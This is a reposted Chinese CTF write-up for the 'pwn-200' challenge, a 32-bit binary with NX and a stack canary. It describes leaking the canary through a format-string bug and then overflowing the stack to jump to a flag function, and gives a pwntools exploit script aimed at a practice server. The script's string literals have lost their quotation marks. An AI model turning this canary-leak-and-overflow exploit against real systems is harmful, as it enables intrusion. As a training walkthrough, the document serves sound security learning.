码迷,mamicode.com
首页 > 其他好文 > 详细

Pwn-pwn-200

时间:2019-10-31 13:48:24      阅读:111      评论:0      收藏:0      [点我收藏+]

标签:exp   hal   col   blog   div   load   targe   存在   ctf   

题目地址 ttp://www.whalectf.xin/files/47a658e388a0c505fc07b6ee48a4a2e2/binary_200

 

32位,开启了NX和Canary保护

技术图片

 存在字符串漏洞和栈溢出,做过类似题目,地址跳转

技术图片

 思路 利用printf泄露出canary的值, 之后再填充进去,然后栈溢出调用system函数来get shell

先看看字符串的偏移,偏移了5字节

技术图片

 然后确定输入参数到canary的地址

技术图片

 0x2c-0x4=0x28   0x28/4=10    10+5=15

 

知道泄露的偏移,就可以进行栈溢出

exp如下

from pwn import *
r=remote(bamboofox.cs.nctu.edu.tw,22002)

e=ELF(./binary_200)
flag_addr=e.symbols[canary_protect_me]
#flag_addr=0x804854d

r.sendline(%15$x)
canary=int(r.recv(), 16)

payload=a*0x28+p32(canary)+a*0xc+p32(flag_addr)
r.sendline(payload)

r.interactive()

 

Pwn-pwn-200

标签:exp   hal   col   blog   div   load   targe   存在   ctf   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11770554.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!